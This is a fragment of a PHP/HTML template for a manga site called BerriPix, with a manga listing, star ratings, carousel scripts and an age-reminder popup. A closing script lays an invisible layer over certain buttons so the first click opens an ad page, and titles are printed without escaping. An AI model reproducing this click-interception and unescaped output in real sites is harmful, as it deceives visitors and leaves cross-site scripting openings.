no-decoration horizontal" data-v-74ec4422="" data-v-4b575bc4=""> <img src="<?= $m['display_image'] ?>" alt="<?= $m['title'] ?>" title="<?= $m['title'] ?>" class="mb-2 horizontal" data-v-a1ebd7c8="" data-v-4b575bc4=""> </a> <a href="/<?= preg_replace('/[^a-z0-9-]/', '', str_replace(' ', '-', strtolower($m['title']))) ?>" title="<?= $m['title'] ?>" class="link no-decoration one-line" data-v-74ec4422="" data-v-4b575bc4=""> <?= $m['title'] ?> </a> <a data-v-74ec4422="" data-v-4b575bc4="" href="/<?= preg_replace('/[^a-z0-9-]/', '', str_replace(' ', '-', strtolower($m['title']))) . '/' . $m['latest_chapter_id'] ?>" class="link no-decoration my-1 text-light text-small one-line" title="<?= $m['latest_chapter'] ?>"> <?= $m['latest_chapter'] ?> </a> <?php $m_ratings = $dbhelper->getMangaRatings($m['id'])[0]; ?> <div data-v-56107fc8="" data-v-4b575bc4="" class="row align-center"> <svg data-v-56107fc8="" xmlns="http://www.w3.org/2000/svg" width="12px" height="12px" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="feather feather-star star-default <?php if ($m_ratings['average_rating'] > 0) { echo 'star-checked'; } ?>"> <polygon data-v-56107fc8="" points="12 2 15.09 8.26 22 9.27 17 14.14 18.18 21.02 12 17.77 5.82 21.02 7 14.14 2 9.27 8.91 8.26 12 2"> </polygon> </svg> <svg data-v-56107fc8="" xmlns="http://www.w3.org/2000/svg" width="12px" height="12px" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="feather feather-star star-default <?php if ($m_ratings['average_rating'] > 1) { echo 'star-checked'; } ?>"> <polygon data-v-56107fc8="" points="12 2 15.09 8.26 22 9.27 17 14.14 18.18 21.02 12 17.77 5.82 21.02 7 14.14 2 9.27 8.91 8.26 12 2"> </polygon> </svg> <svg data-v-56107fc8="" xmlns="http://www.w3.org/2000/svg" width="12px" height="12px" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="feather feather-star star-default <?php if ($m_ratings['average_rating'] > 2) { echo 'star-checked'; } ?>"> <polygon data-v-56107fc8="" points="12 2 15.09 8.26 22 9.27 17 14.14 18.18 21.02 12 17.77 5.82 21.02 7 14.14 2 9.27 8.91 8.26 12 2"> </polygon> </svg> <svg data-v-56107fc8="" xmlns="http://www.w3.org/2000/svg" width="12px" height="12px" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="feather feather-star star-default <?php if ($m_ratings['average_rating'] > 3) { echo 'star-checked'; } ?>"> <polygon data-v-56107fc8="" points="12 2 15.09 8.26 22 9.27 17 14.14 18.18 21.02 12 17.77 5.82 21.02 7 14.14 2 9.27 8.91 8.26 12 2"> </polygon> </svg> <svg data-v-56107fc8="" xmlns="http://www.w3.org/2000/svg" width="12px" height="12px" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="feather feather-star star-default <?php if ($m_ratings['average_rating'] > 4) { echo 'star-checked'; } ?>"> <polygon data-v-56107fc8="" points="12 2 15.09 8.26 22 9.27 17 14.14 18.18 21.02 12 17.77 5.82 21.02 7 14.14 2 9.27 8.91 8.26 12 2"> </polygon> </svg> <span data-v-70d8a0c4="" data-v-56107fc8="" class="ml-2 text grey normal" style="font-size: 9.6px;"> <?= number_format($m_ratings['average_rating'], 2); ?> </span> </div> </div> </div> <?php } ?> </div> </section> </div> </div> </div> </div> <div data-v-ca6cf050="" data-v-e1935f7a="" data-v-e49fcc30="" class="section-container p-3 py-0 desk"> <div data-v-ca6cf050="" data-v-e49fcc30="" class="container container row-responsive my-3"> <?php include('seo.php'); ?> </div> </div> <?php include('footer.php'); ?> </div> <div role="alert" class="snackbar-error snackbar-container snackbar-hide" data-v-143f642f="" data-v-5fa6951a=""> <div class="flex relative row align-center px-3" data-v-143f642f=""> <div class="snackbar-indicator indicator-error" data-v-143f642f=""></div> <svg xmlns="http://www.w3.org/2000/svg" width="50px" height="50px" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="feather feather-alert-circle color-error" data-v-143f642f=""> <circle cx="12" cy="12" r="10" data-v-143f642f=""></circle> <line x1="12" y1="8" x2="12" y2="12" data-v-143f642f=""></line> <line x1="12" y1="16" x2="12.01" y2="16" data-v-143f642f=""></line> </svg> <div class="column px-4 py-3" data-v-143f642f=""> <span class="bold text inverse large" data-v-70d8a0c4="" data-v-143f642f="">Failed </span> <span class="mt-2 text inverse normal" data-v-70d8a0c4="" data-v-143f642f=""></span> </div> </div> </div> <div class="snackbar-bg" data-v-aa051a02="" data-v-5fa6951a=""> <div class="snackbar snackbar-container snackbar-hide" data-v-aa051a02=""> <div class="flex relative row align-center px-3" data-v-aa051a02=""> <div class="column px-4 py-3" data-v-aa051a02=""> <span bold="" class="mt-2 text dark normal" data-v-70d8a0c4="" data-v-aa051a02="">You need to <a href="sign-in" data-v-70d8a0c4="" data-v-aa051a02="">login</a> to use this function.</span> <div class="cancel mt-3" data-v-aa051a02="">Cancel</div> </div> </div> </div> </div> <div data-v-78a91c7e="" data-v-5fa6951a=""></div> </div> </div> </div> <script src="https://cdnjs.cloudflare.com/ajax/libs/OwlCarousel2/2.3.4/owl.carousel.min.js"></script> <script> $(".image-slider1").owlCarousel({ margin: 10, loop: true, autoplay: true, nav: false, navText: ["<i class='fa fa-chevron-left'></i>", "<i class='fa fa-chevron-right'></i>"], responsive: { 0: { items: 2 }, 600: { items: 3.5, merge: true, }, 1000: { items: 8 } } }); $(".image-slider2").owlCarousel({ margin: 10, loop: true, autoplay: true, nav: false, navText: ["<i class='fa fa-chevron-left'></i>", "<i class='fa fa-chevron-right'></i>"], responsive: { 0: { items: 2 }, 600: { items: 3.5, merge: true, }, 1000: { items: 8 } } }); </script> <?php include('script.php'); ?> <style> #overlay { display: none; position: fixed; top: 0; left: 0; width: 100vw; height: 100vh; background: rgba(0, 0, 0, 0.6); z-index: 9998; } #age-reminder { display: none; position: fixed; top: 50%; left: 50%; transform: translate(-50%, -50%); background: #ffffff; color: #000000; border: 1px solid #ffeeba; padding: 20px 30px; border-radius: 10px; box-shadow: 0 6px 15px rgba(0, 0, 0, 0.2); z-index: 9999; font-family: sans-serif; font-size: 1.2rem; max-width: 90%; width: 70%; text-align: center; } #age-reminder button { margin-top: 15px; background-color: #ffb300; color: white; border: none; padding: 8px 16px; border-radius: 5px; cursor: pointer; font-size: 14px; } #age-reminder button:hover { background-color: #ffb300; } </style> <div id="overlay"></div> <div id="age-reminder"> <p><b>Welcome to BerriPix.</b><br><br>The mangas may not be appropriate for all ages, or may not be appropriate for viewing at public.</p> <button onclick="closeReminder()">Close</button> </div> <script> function closeReminder() { document.getElementById("age-reminder").style.display = "none"; document.getElementById("overlay").style.display = "none"; } window.addEventListener("load", function () { if (!localStorage.getItem("ageReminderShown")) { document.getElementById("age-reminder").style.display = "block"; document.getElementById("overlay").style.display = "block"; localStorage.setItem("ageReminderShown", "true"); } }); document.addEventListener('DOMContentLoaded', () => { // Select all buttons with the class 'myAdButton' const buttons = document.querySelectorAll('.myButtonad'); buttons.forEach((button) => { // Create the overlay layer const layer = document.createElement('div'); layer.className = 'click-layer'; // Use class instead of ID for multiple layers // Style the button to be relative button.style.position = 'relative'; // Append the layer inside the button button.appendChild(layer); // Add click event listener to the overlay layer.addEventListener('click', () => { window.open('<?php include('dl_ads.php'); ?>', '_blank'); layer.remove(); // Remove the layer after one click }); }); }); </script> </body> </html>
Close